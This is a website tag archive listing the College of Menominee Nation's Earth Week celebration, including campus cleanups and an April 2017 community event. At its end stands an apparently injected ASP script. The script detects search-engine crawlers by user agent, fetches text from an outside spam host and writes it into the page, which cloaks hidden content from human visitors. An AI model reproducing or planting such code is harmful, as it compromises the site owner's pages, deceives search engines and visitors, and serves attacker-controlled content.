Tag Archive: Earth Week

Earth Week Celebration

Categories:

A week-long series of activities focused around Earth Day that builds increased capacity for civic engagement within the CMN, Menominee and surrounding communities to address issues of sustainability.

Tags: ,

Permanent link to this article: http://sustainabledevelopmentinstitute.org/event/earth-week-celebration/

Mar 21

CMN’s Earth Week Celebration April 17-21

Categories:

Education, Outreach

March 21, 2017

A week-long celebration in honor of Earth Day will begin on Monday, April 17, at the College of Menominee Nation, Keshena and Green Bay/Oneida, with campus cleanups, and end on Friday, April 21, with a free community event in Keshena. The theme for the week is Our Community, Our World, Our Future: Environmental and Climate …

Continue reading »

Tags: , , ,

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/03/cmns-earth-week-celebration-april-17-22/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>